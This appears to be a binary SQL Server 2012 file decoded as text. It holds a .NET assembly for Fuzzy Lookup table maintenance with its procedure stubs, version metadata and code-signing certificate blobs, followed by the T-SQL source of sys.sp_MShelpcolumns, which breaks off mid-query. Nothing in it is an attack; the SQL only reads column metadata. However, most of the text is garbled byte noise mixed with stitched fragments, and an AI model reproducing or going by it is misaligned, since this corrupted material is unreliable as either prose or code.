sql112SQLServerBooksOnline.11.0SQLServer2012$SQLServer2012(SP1)H7fe4630a-0330-4b01-a5e6-a77c7ad34eb0L{7f121c35-f095-47aa-bc04-d214bc04727a}SQL2011MSSQL11MSAS11MSRS11SQL110MSISQL110Exception{0x2414bc1b, 0x1572, 0x4cd9, {0x9c, 0xa5, 0x65, 0x16, 0x6d, 0x8d, 0xef, 0x3d}}*ms-help://MS.VSCC.v9010.0  $$RSA1''6n_1:fl/y2}/R4H<=\]Ǽ(k,Q\$+Au2IRmRo{l؂O1
ˢ#V{-Pb왹J|};( T
AllowMultipleT
AllowMultiple@T
AllowMultiple 55!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,!v;         
 	=	  	Y  5  9 99   15Q 5  =
-	 1	 A I994E9
l
Uhl M	Mhl  hl Q	Qhl  hlQhlUh 	 YYh  UhhlhQhlYh	 e i q u mYaiQ	
xx yQh
DEBUG	 Ep11p	  
11	
	Item    ]
1$(]A %7%sp_FuzzyLookupTableMaintenanceInstallcreate procedure sys.sp_FuzzyLookupTableMaintenanceInstall(
					@etiTableName nvarchar(1024)
			 )
			 with execute as caller
			 as external name
			 [asm_TableMaintenance]
			 .[Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance]
			 .[ServerInstall]
			\
T='sp_FuzzyLookupTableMaintenanceUninstallcreate procedure sys.sp_FuzzyLookupTableMaintenanceUninstall(
					@etiTableName nvarchar(1024)
			 )
			 with execute as caller
			 as external name
			 [asm_TableMaintenance]
			 .[Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance]
			 .[ServerUninstall]
			1	\T4$sp_FuzzyLookupTableMaintenanceInvoke	create procedure sys.sp_FuzzyLookupTableMaintenanceInvoke(
					@etiTableName nvarchar(1024)
			 )
			 with execute as caller
			 as external name
			 [asm_TableMaintenance]
			 .[Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenance]
			 .[ServerInvoke]
			U4  U4E44U4E44	PP
PP EQE 49+Qxx 	 Q	QQ !Q
QQ			 5   	  	1&
iMicrosoft SQL Server)$Microsoft Corp. All rights reserved.Microsoft Corporation0+11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )11.0.3000.050e:\sql11_main_t\\sql\Common\SNK\SQL2003SNKEY.snkMHMicrosoft SQL Server is a registered trademark of Microsoft Corporation.94Microsoft.SqlServer.Dts.TxBestMatch.TableMaintenanceB=Table maintenance services for the DTS Fuzzy Lookup transform
en-USTWrapNonExceptionThrows.System.Security.Permissions.SecurityPermissionAttribute, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089T	ExecutionT
UnmanagedCodeMP1xvxfRSDS&ۯoDHҧ;asm_tablemaintenance.pdb,wNw @w_CorDllMainmscoree.dll% B90HXhh4VS_VERSION_INFO?DVarFileInfo$TranslationStringFileInfo000004b0>CommentsTable maintenance services for the DTS Fuzzy Lookup transformLCompanyNameMicrosoft Corporation5FileDescriptionMicrosoft.SqlServer.Dts.TxBestMatch.TableMaintenancex,FileVersion11.0.3000.0 ((SQL11_PCU_Main).121019-1322 )TInternalNameasm_tablemaintenance.dllp%LegalCopyrightMicrosoft Corp. All rights reserved.ILegalTrademarksMicrosoft SQL Server is a registered trademark of Microsoft Corporation.\OriginalFilenameasm_tablemaintenance.dllLProductNameMicrosoft SQL Server<ProductVersion11.0.3000.0<	Assembly Version11.0.0.0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,(xBv;p`7=0=	*H
=0=10	+0L
+7>0<0
+70	0!0	+W| S^e/֔}P&003'80
	*H
0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0
120904214209Z
130304214209Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Il"e;abt)qX^W
ibn6N"ya%X,12>tW6SAiimVn&Msdqa!hX[I50Szk+!gtxa|*gٺc<N>}~H=uc )9AT8Td@7
"0# kYୟ`L
bZxvlL8G
0	0U%0
+0UQJ?óe,0U#0ҴX7.3L
0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicCodSigPCA_08-31-2010.crt0
	*H
*&zbx[ħxS(B?8d5HzOGڇLږdρ3x|mqaNds?{'4R?GCpSK*w{nF(1Ji]3<GEʋO	&n_ډZ^_|FGX+FQb_i\qV ,:Nh~;yB9I^pBułUUa00
aB0
	*H
0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0
120109222558Z
130409222558Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:F528-3777-8A761%0#UMicrosoft Time-Stamp Service0"0
	*H
0
GMT\N=CK`g/MF/@PRCz-?HnfǑnyj#bj?CbGD@T~蠧,C#R25Vcw{0
3rJ%].ǰCHGz 8!=
m3%Zb%MS%aGƀE5S#6wʰݘ+9u5݁L!=v0Ųes)H'ҰGxtKSxچa&3GƠT+,u	00U/FhnO މNGH0U#0#4RFp
@v+50TUM0K0IGEChttp://crl.microsoft.com/pki/crl/products/Microsof!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
,/jMv;tTimeStampPCA.crl0X+L0J0H+0<http://www.microsoft.com/pki/certs/MicrosoftTimeStampPCA.crt0U%0
+0
	*H
s}.͍+|}^qhbCV\J-hHTu8Yu4T|u0S,6@
 :1ug4WXb E/]EȎ|rm'Kom5#g,%-]C(>vw%GmIJKF!5u6L߷+پ*j5?N$c .$_CDz\7ۤE:W}GfϜFVL<~UkQe00
a3&10
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
100831221932Z
200831222932Z0y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA0"0
	*H
0
rY\0d`  BvSl>ok:t/2BN#r5W
ʮ IhMKyKqG%ߝuϪsDׁ6\Eܯ=(hrsV5rv_wE8s[gRi/t)v/T0Yҍb_F1P'@0r)("7N=2=͡8\NV(*2KOc-bE=F[&SzJF7<8w\V<	_^0Z0U00UҴX7.3L
0U0	+70#	+71N&`;1o<-0	+7
SubCA0U#0`@V'%*
SY0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0
	*H
Y9>&Fo@2j/nI_uL;-C-1#|P!]=/LVpyIr>Ai˥ -PV-JҼp
VชKWB4<VS#*NNҏr*qmSg"\͢'ycVDQXVݛED/_ڮԂ2ni穢,+e&	e8zJVx\5_ݓI-4D]5[!Θ	OmN=|)HrlpWW}HZϣg
t6-/r7o<gR3edoFy,
'@F`Ge`@NBNvy
4	m1TGdP.|!zA'iÓɍ؛!
\𢮆hj-vk{$jG1/q=~bGΈɸr=@ji7P=00
ah40
	*H
0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate Authority0
070403125309Z
210403130309Z0w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA0"0
	*H
0
lH*|k.řQ#PN$ѧLt0 TIB\0&k{3$g,{N#SʍE	^аBlg(FS(F.'OUR,j0nY0~֗!~SmREHJGf')fJG	UxP0F#F-TxA1w̛;a
"KT 00U00U#4RFp
@v+50U0	+70U#0`@V'%*
SY䤡ca0_10
	&,dcom10
	&,d	microsoft1-0+U$Microsoft Root Certificate AuthorityyJLsX.e0PUI0G0ECA?http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0T+H0F0D+08http://www.microsoft.com/pki/certs/MicrosoftRootCert.crt0U%0
+0
	*H
\D6鴭wyQM.tq[mξ{.mbWN Pz@WXx;⾏
ȍHSOjՀ/*$"px.
pNk
r9g-Qb\? ?21Jv1=+rp=

a׸N5+^}B{Sr!0ʻxe\[
<fX-/QVpl9Lyzb))4wb=m,C}㤨t5Nq#&v<RqZFCMgȟBy!0fB^Ȟ"!C+H,2L&*H$_ZVޙ:o'tv!'Tj=vanGo2lQȌ#fd=-Y!嵰cxTA.Pxuْu"/2n[%!OɚIeo}in꧗1)[\M/?.Uk1(?0(;00y10	UUS10U
Washington10URedmond10U
Microsoft Corporation1#0!UMicrosoft Code Signing PCA3'80	+0	*H
	1
+70
+710
+70#	*H
	1cgj]5!aAjd0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
2vDM.î.X,{|xGNǡ5x~'gGS*i?5CBUThIWl?#)S./M+?(O{!MK
DiY8cvjPA
|g]	?~K5l'7~84yE^UޏdjhT}G6PʧTox|'pk,3\H}F kRϜͽb:l͚}uС%0	*H
	1000w10	UUS10U
Washington10URedmond10U
Microsoft Corporation1!0UMicrosoft Time-Stamp PCA
aB0	+]0	*H
	1	*H
0	*H
	1
121019214857Z0#	*H
	1̎uѸ'c|)
K0
	*H
jϛ>]l5j5M+@*
dx!k8.'QG.&hIG55:7'j2?&V$0]VZA`W$8Dh!1TG+d&9Wf7>GE՘$,v"(g?DTvɆĉ֡NFO$$,&2	²yZ4Wau鍄ٌqZ8Tlrixt&{<ZקEvX5t}0#
+71#0#	*H
#0#10
	`He0\
+7N0L0
+70	010
	`He 7~PJQY⁑l&:5)P
?003y
%XE0
	*H
0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110
120707001432Z
131007001432Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR10UMicrosoft Corporation0"0
	*H
0
Qs/ΰ=X?,˹]::HlT~ܸ*
m;Y%N`t۴UO?;A|GKaI aD<o`N3QPٲ>Fvͫr9q'ٟCT!cnHzܝP䶃"G*D>8.0+Asp)&9L/*Z6>)P@2'c:Ӝr5Ex(kdtE@o\-,0(0U%0+
+7L0Ua??P.Cqc\BF0U#0HndPӂ77"mu0TUM0K0IGEChttp://www.microsoft.com/pkiops/crl/MicCodSigPCA2011_2011-07-08.crl0a+U0S0Q+0Ehttp://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt0U00
	*H
Ck]dRoP(tqO'CMf`a;W~/=E3]v`yN^|#qzA"L̊WC֮3=f;vdbWC;GujHN2
Lf÷>LH92
x[+07wo\CR,Gasrc3aI_,5O}k>YڞְHa뀱F5i?r~#Cܶ	zե:ւMxK<J
DK݀/d=ͱJ&4p|
LL+E^s{B.>[
4RNq㑹sy
64,I`0 &d<BQp9JDr^B,,}ߍ^Dεblz0(@X^W/rWY4Jj`RA'MPW+`0z0b
a0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20110
110708205909Z
260708210909Z0~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20110"0
	*H
0
r.nM4X!B*kZP8I7k8™91BӉ
yd~`$lIh^ߛS
,ï٩+z	זY`fv2R&/PϳD].uhm:\F8dnd5xc-@
\yI)
w=+ZMV(zr:I^C{{>]O/Y;-3Xŷ>2ӳ=8~ҝ,NV!5%9ndS#_R!t%_('(8%9J6|#faj(I_%]!K>RĵW?$z[/#p]QFwἬ_UK9#ID|Erzr$߿FWۃMI0[ݰf{KI)(}gbx_/W\w((m(,@7OD	LԥC/tnx X,]`>O3ڰޞNFlֈ00	+70UHndPӂ77"mu0	+7
SubCA0U0U00U#0r-:1CN1#40ZUS0Q0OMKIhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^+R0P0N+0Bhttp://www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0U 00	+7.00?+3http://www.microsoft.com/pkiops/docs/primarycps.htm0@+042 Legal_policy_statement. 0
	*H
g򆥘Ty.tg"cB}ye_.,>rm?
;Gic"5]e}FPU|K<BRаk>.)=Եw9dD=xz#}t&F*Šhh.*?*kXIc	inZF+;н5n%'(M=2-[I9

ƭQEX82q'',: iYhnot@*(>?MfMo}Ev@*e]Rbc6'ͥ]cA[>wuaaA(e/\֡FY	KH)ű?Ew5Ңzz"HG#k!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<P	
R-EQ9yN;Kux7yKֳ#hui;0Lumc=ѝVNOW"x2!zA
?̤]WqVNHEBɛv[
HkymmjRs
zP1000~10	UUS10U
Washington10URedmond10U
Microsoft Corporation1(0&UMicrosoft Code Signing PCA 20113y
%XE0
	`He0
*H
	10	*H
	1
+70
+710
+70/	*H
	1" cJY'΃^Cwkѿe
0R
+71D0B SQL Server 2012http://www.microsoft.com/sql0
	*H
wR,@WP7iX{eSW
FA$;@_kRz#u?oy|5}2͔h*뚗Xo¯ь:ևCw'nv#[@IX&Ĩ?P_1s)U*4tɟsY	I5_#k w-s
k}(g*/ ^"	Tv1i$'dηIޯZ
 bB20.
+710	*H
010
	`He0=*H
	,(0$
+Y
010
	`He HFWhN.myŎqDRPd`}?20121019214858.834Z0010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0q0Y
a	*0
	*H
010	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
100701213655Z
250701214655Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0
	*H
0

w: iktTե
|hK,_av>f+[S'1A	|a0Y0D`TCM8Bݓs0W&E
GͿ$`2X`FXG2tag_TϓLĦ]an(aF'$gr!KdPb]w=WuBM@Q>gfD~Knʱz*
1N5x</Dd 	xD]^O"M00	+70Uc:\1C{|F3hZmU0	+7
SubCA0U0U00U#0Vˏ\bh=[Κ0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0U 00	+7.00=+1http://www.microsoft.com/PKI/docs/CPS/default.htm0@+042 Legal_Policy_Statement. 0
	*H
Q
?q=!o1Wm0fjxǨ%kTW+QDS`v@@A\\^5$VKtBȯ7}Z?yJR8/ye٩kzoK0D$"<Y)p2J'U/3b_W@ΙfjbJ&9Jqc{!mÜ<}jxm8ؔƥ
B"8 %d~cY%z.9Wvqa˚Gͧ};q	]t"aڰPo1:eGxHr~akow˧	9؂r*T9[
Uzs;-3.)/T'!ȬN(ۖBAM*f0ӻt2Kc{/!YD<PqסUiW0M
]O8/X.
P5	'ճ~56_tI00
a0
	*H
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
120109213540Z
130409214540Z010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service0"0
	*H
0
MKn!(2QE;k+z!-@ˤQ
4q	?MYh.ս *Er oHV<Ei#Q	݂w띂_7M$qpAhu#;Lޘք]Ψ'봻3-n4b^GU>ؔCucv2	Ϛ~xۺ(vvn[3݃6̭EXlhVFs*	֗_6>00Ux/zߚ!~0U#0c:\1C{|F3hZmU0VUO0M0KIGEhttp://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z+N0L0J+0>http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0U00U%0
+0
	*H
zV$eB5-Y!Q=g	5:L?m"[;ϖSͬ4.9!<o)Mr#*
#/^ 4r:q9j
y,Fy
NZ>,٧YtŎdV/az~MNd/$2)C到G*)FtA^Ƞ'2l`l]3]Zʀv4iˮ\c
l{y0a0㡁010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher DSE ESN:7D2E-3782-B0F71%0#UMicrosoft Time-Stamp Service%
0	+7IHKNŵ擇e00010	UUS10U
Washington10URedmond10U
Microsoft Corporation1
0UMOPR1'0%UnCipher NTS ESN:B027-C6F8-1D881+0)U"Microsoft Time Source Master Clock0
	*H
+0"20121019122814Z20121020122814Z0w0=
+Y
1/0-0
+0
00
-^06
+Y
1(0&0
+Y

0`
0 0
	*H
^HL,*m .:lݢm)rмYOPڗ_OJdkȎQxK5(M!EflTo6duGS3ݺ/K;[T歃RXHsu7A$RBw΅#,svz$BZ2	EGag˔*<`'*'UXnA^4̨ko@LV89%?lQоc<5W+N:
61000|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 2010
a0
	`He)0	*H
	1
*H
	0/	*H
	1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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
/ܥv|create procedure sys.sp_MShelpcolumns
@tablename nvarchar(517), @flags int = 0, @orderby nvarchar(10) = null, @flags2 int = 0
as

   /* For non-string columns, sp_MShelpcolumns returns the length in syscolumns.length, */
   /* which is defined in BOL as "maximum physical storage length from systypes".       */
   /* For string columns (including types based on string types), sp_MShelpcolumns      */
   /* returns this maximum length in characters (i.e. it returns syscolumns.length      */
   /* adjusted to whether the column is based on char or nchar).                        */

   /*** @flags2 added for DaVinci uses.  If the bit isn't set, use 6.5 ***/
   /*** sp_MShelpcolumns '%s', null, 'id', 1                           ***/

   create table #sphelpcols
      (
      col_name         nvarchar(128)   COLLATE database_default NOT NULL,
      col_id           int                          NOT NULL,
      col_typename     nvarchar(128)   COLLATE database_default NOT NULL,
      col_len          int                          NOT NULL,
      col_prec         int                          NULL,
      col_scale        int                          NULL,
      col_numtype      smallint                     NOT NULL,  /* For DaVinci to get sp_help-type filtering of prec/scale */
      col_null         bit                          NOT NULL,  /* status & 8 */
      col_identity     bit                          NOT NULL,  /* status & 128 */
      col_defname      nvarchar(257)  COLLATE database_default NULL,      /* fully-qual'd default name, or NULL */
      col_rulname      nvarchar(257)  COLLATE database_default NULL,      /* fully-qual'd rule name, or NULL */
      col_basetypename nvarchar(128)   COLLATE database_default NOT NULL,
      col_flags        int                          NULL,      /* COL_* bits */

/* Fix for Raid # 53682 */
      col_seed         nvarchar (40)      COLLATE database_default NULL,
/*	   col_seed			numeric (28)      NULL,  */
      col_increment    nvarchar (40)      COLLATE database_default NULL,
/*	   col_increment	int 				NULL,  */

      col_dridefname   nvarchar(128)   COLLATE database_default NULL,      /* DRI DEFAULT name */
      col_dridefid     int                          NULL,      /* remember the DRI DEFAULT id in syscomments, so we can retrieve it later */
      col_iscomputed   int                          NOT NULL,
      col_objectid     int                          NOT NULL,  /* column object id, need it to get computed text from syscomments */
      col_NotForRepl   bit                          NOT NULL,  /* Not For Replication setting */
      col_fulltext     bit                          NOT NULL,  /* FullTextIndex setting */
      col_AnsiPad      bit                          NULL,      /* Ansi_Padding setting */
      /* following columns are repeating the info from col_defname and col_rulname                  */
      /* because we can not change data in col_defname and col_rulname, since daVinci is using them */
      col_DOwner       nvarchar(128)   COLLATE database_default NULL,      /* non-DRI DEFAULT owner, or NULL */
      col_DName        nvarchar(128)   COLLATE database_default NULL,      /* non-DRI DEFAULT name, or NULL */
      col_ROwner       nvarchar(128)   COLLATE database_default NULL,      /* non-DRI RULE owner, or NULL */
      col_RName        nvarchar(128)   COLLATE database_default NULL,      /* non-DRI RULE name, or NULL */
      col_collation    nvarchar(128)   COLLATE database_default NULL,      /* column level collation, valid for string columns only */
      col_isindexable  int,
      col_language     int,
      )

/** For DaVinci **/
/** Use sp_help filtering of precision/scale (only fordecimal/numeric types; else use NULL). **/


	if @flags is null
		select @flags = 0
	if (@tablename = N'?')
	begin
		print N''
		print N'Usage:  sp_MShelpcolumns @tablename, @flags int = 0'
		print N' where @flags is a bitmask of:'
		print N' 0x0200		= No DRI (ignore Checks, Primary/Foreign/Unique Keys, etc.)'
		print N' 0x0400		= UDDTs --> Base type'
		print N' 0x80000		= TimestampToBinary (convert timestamp cols to binary(8))'
		print N' 0x40000000	= No Identity attribute'
		return 0
	end

	declare @objid int
	select @objid = object_id(@tablename)
	if (@objid is null)
	begin
		RAISERROR (15001, -1, -1, @tablename)
		return 1
	end

	set nocount on

   /* Do not store the computed text in this temp table, because one extra join causes big performance hit */
	/* First load stuff so we can blot off inappropriate info and massage as per @flags */
	insert #sphelpcols
		select c.name, c.colid, st.name,
         case when bt.name in (N'nchar', N'nvarchar') then c.length/2 else c.length end,
			ColumnProperty(@objid, c.name, N'Precision'),
			ColumnProperty(@objid, c.name, N'Scale'),
				-- col_numtype for DaVinci:  use sp_help-type prec/scale filtering for @flags2 & 1
			case when (@flags2 & 1 <> 0 and bt.name in (N'tinyint',N'smallint',N'decimal',N'int',N'real',N'money',N'float',N'numeric',N'smallmoney',N'bigint'))
					then 1 else 0 end,
				-- Nullable
			convert(bit, ColumnProperty(@objid, c.name, N'AllowsNull')),
				-- Identity
			case when (@flags & 0x40000000 = 0) then convert(bit, ColumnProperty(@objid, c.name, N'IsIdentity')) else 0 end,
				-- Non-DRI Default (make sure it's not a DRI constraint).
			case when (c.cdefault = 0) then null when (OBJECTPROPERTY(c.cdefault, N'IsDefaultCnst') <> 0) then null else schema_name(sysod.schema_id) + N'.' + d.name end,
				-- Non-DRI Rule
			case when (c.domain = 0) then null else schema_name(sysor.schema_id) + N'.' + r.name end,
				-- Physical base datatype
			bt.name,
				-- Initialize flags to whether it's a length-specifiable type, or a numeric type, or 0.
			case when st.name in (N'char',N'varchar',N'binary',N'varbinary',N'nchar',N'nvarchar') then 0x0001
					when st.name in (N'decimal',N'numeric') then 0x0002
					else 0 end
					-- Will be NULL if column is not UniqueIdentifier.
					+ case isnull(ColumnProperty(@objid, c.name, N'IsRowGuidCol'), 0) when 0 then 0 else 0x0008 end,
				-- Identity seed and increment

/* Fix for Raid # 53682 */
			case when (ColumnProperty(@objid, c.name, N'IsIdentity') <> 0) then CONVERT(nvarchar(40), ident_seed(@tablename)) else null end,
/*			case when (ColumnProperty(@objid, c.name, N'IsIdentity') <> 0) then ident_seed(@tablename) else null end,  */
			case when (ColumnProperty(@objid, c.name, N'IsIdentity') <> 0) then CONVERT(nvarchar(40), ident_incr(@tablename)) else null end,
/*			case when (ColumnProperty(@objid, c.name, N'IsIdentity') <> 0) then ident_incr(@tablename) else null end,  */

				-- DRI Default name
			case when (@flags & 0x0200 = 0 and c.cdefault is not null and (OBJECTPROPERTY(c.cdefault, N'IsDefaultCnst') <> 0))
					then object_name(c.cdefault) else null end,
				-- DRI Default text, if it does not span multiple rows (if it does, SQLDMO will go get them all).
			case when (@flags & 0x0200 = 0 and c.cdefault is not null and (OBJECTPROPERTY(c.cdefault, N'IsDefaultCnst') <> 0))
					then t.id else null end,
         c.iscomputed,
         c.id,
				-- Not For Replication
			convert(bit, ColumnProperty(@objid, c.name, N'IsIdNotForRepl')),
         convert(bit, ColumnProperty(@objid, c.name, N'IsFulltextIndexed')),
         convert(bit, ColumnProperty(@objid, c.name, N'UsesAnsiTrim')),
				-- Non-DRI Default owner and name
			case when (c.cdefault = 0) then null when (OBJECTPROPERTY(c.cdefault, N'IsDefaultCnst') <> 0) then null else schema_name(sysod.schema_id) end,
			case when (c.cdefault = 0) then null when (OBJECTPROPERTY(c.cdefault, N'IsDefaultCnst') <> 0) then null else d.name end,
				-- Non-DRI Rule owner and name
			case when (c.domain = 0) then null else schema_name(sysor.schema_id) end,
			case when (c.domain = 0) then null else r.name end,
           -- column level collation
         c.collation,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<B
/|
           -- IsIndexable
         ColumnProperty(@objid, c.name, N'IsIndexable'),
         c.language
		from dbo.syscolumns c
				-- NonDRI Default and Rule filters
			left outer join (dbo.sysobjects d join sys.all_objects sysod on d.id = sysod.object_id)  on d.id = c.cdefault
			left outer join (dbo.sysobjects r join sys.all_objects sysor on r.id = sysor.object_id)  on r.id = c.domain
				-- Fully derived data type name
			join dbo.systypes st on st.xusertype = c.xusertype
				-- Physical base data type name
			join dbo.systypes bt on bt.xusertype = c.xtype
				-- DRIDefault text, if it's only one row.
			left outer join dbo.syscomments t on t.id = c.cdefault and t.colid = 1
					and not exists (select * from dbo.syscomments where id = c.cdefault and colid = 2)    
		where c.id = @objid
		order by c.colid

	/* Convert any timestamp column to binary(8) if they asked. */
	if (@flags & 0x80000 != 0)
		update #sphelpcols set col_typename = N'binary', col_len = 8, col_flags = col_flags | 0x0001 where col_typename = N'timestamp'

	/* Now see what our flags are, if anything. */
	if (@flags is not null and @flags != 0)
	begin
		if (@flags & 0x0400 != 0)
		begin
			/* Track from xusertype --> b.<base>xtype --> u.xusertype in systypes */
			/* First mask off the things we will set.  The convert() awkwardness is */
			/* necessitated by SQLServer's handling of 0x-prefixed values. */
			declare @typeflagmask int select @typeflagmask = (convert(int, 0x0001) + convert(int, 0x0002))
			update #sphelpcols set col_typename = b.name,
				-- ReInitialize flags to whether it's a length-specifiable type, or a numeric type, or 0.
				col_flags = col_flags & ~@typeflagmask
							+ case when b.name in (N'char',N'varchar',N'binary',N'varbinary',N'nchar',N'nvarchar') then 0x0001
								when b.name in (N'decimal',N'numeric') then 0x0002
								else 0 end
			from #sphelpcols c, dbo.systypes n, dbo.systypes b
				where n.name = col_typename				--// xtype (base type) of name
					and b.xusertype = n.xtype			--// Map it back to where it's xusertype, to get the name
		end
	end

	/* Determine if the column is in the primary key */
	if (@flags & 0x0200 = 0 and (OBJECTPROPERTY(@objid, N'TableHasPrimaryKey') <> 0)) begin
		declare @indid int
		select @indid = indid from dbo.sysindexes i where i.id = @objid and i.status & 0x0800 <> 0
		if (@indid is not null)
			update #sphelpcols set col_flags = col_flags | 0x0004
			from #sphelpcols c, dbo.sysindexkeys i
				where i.id = @objid and i.indid = @indid and i.colid = c.col_id
	end

	/* OK, now put out the data.  @flags2 added for DaVinci; currently only bit 1 (sp_help filtering of prec/scale) is relevant. */
	set nocount off
	if (@orderby is null or @orderby = N'id')
	begin
		select c.col_name, c.col_id, c.col_typename, c.col_len,
					-- Prec/scale only for numeric/decimal
				col_prec = case when (col_basetypename in (N'decimal',N'numeric') or (@flags2 & 1 <> 0 and col_numtype & 1 <> 0))
						then c.col_prec else NULL end,
				col_scale = case when (col_basetypename in (N'decimal',N'numeric') or (@flags2 & 1 <> 0 and col_numtype & 1 <> 0))
						then c.col_scale else NULL end,
				col_basetypename, c.col_defname, c.col_rulname, c.col_null, c.col_identity, c.col_flags,
			   c.col_seed,
            c.col_increment, c.col_dridefname, cn.text, c.col_iscomputed, cm.text, c.col_NotForRepl,
            c.col_fulltext, c.col_AnsiPad, c.col_DOwner, c.col_DName, c.col_ROwner, c.col_RName,
            collation = c.col_collation,
            ColType = case when( col_basetypename in (N'image')) then d.FT_COLNAME else NULL end,   /* FullText column name for image column */
            case when ( c.col_isindexable is null ) then 0 else c.col_isindexable end,
            case when ( c.col_language >= 0 ) then c.col_language else -1 end
		from ((#sphelpcols c
      left outer join dbo.syscomments cm on cm.id = c.col_objectid and cm.number = c.col_id) left outer join dbo.syscomments cn on c.col_dridefid is not null and cn.id = c.col_dridefid)
      left outer join (select distinct FT_COLNAME = scol.name, FT_ID = sdep.number from dbo.syscolumns scol, dbo.sysdepends sdep where
                       scol.colid = sdep.depnumber and
                       sdep.deptype = 1 and
                       scol.id = @objid and
                       sdep.depid = @objid and
                       ColumnProperty(scol.id, scol.name, N'IsTypeForFullTextBlob') = 1) as d on c.col_id = d.FT_ID
		order by c.col_id
	end else begin
		select c.col_name, c.col_id, c.col_typename, c.col_len,
					-- Prec/scale only for numeric/decimal
				col_prec = case when (col_basetypename in (N'decimal',N'numeric') or (@flags2 & 1 <> 0 and col_numtype & 1 <> 0))
						then c.col_prec else NULL end,
				col_scale = case when (col_basetypename in (N'decimal',N'numeric') or (@flags2 & 1 <> 0 and col_numtype & 1 <> 0))
						then c.col_scale else NULL end,
				col_basetypename, c.col_defname, c.col_rulname, c.col_null, c.col_identity, c.col_flags,
			   c.col_seed,
            c.col_increment, c.col_dridefname, cn.text, c.col_iscomputed, cm.text, c.col_NotForRepl,
            c.col_fulltext, c.col_AnsiPad, c.col_DOwner, c.col_DName, c.col_ROwner, c.col_RName,
            collation = c.col_collation,
            ColType = case when( col_basetypename in (N'image')) then d.FT_COLNAME else NULL end,   /* FullText column name for image column */
            case when ( c.col_isindexable is null ) then 0 else c.col_isindexable end,
            case when ( c.col_language >= 0 ) then c.col_language else -1 end
		from ((#sphelpcols c
      left outer join dbo.syscomments cm on cm.id = c.col_objectid and cm.number = c.col_id) left outer join dbo.syscomments cn on c.col_dridefid is not null and cn.id = c.col_dridefid)
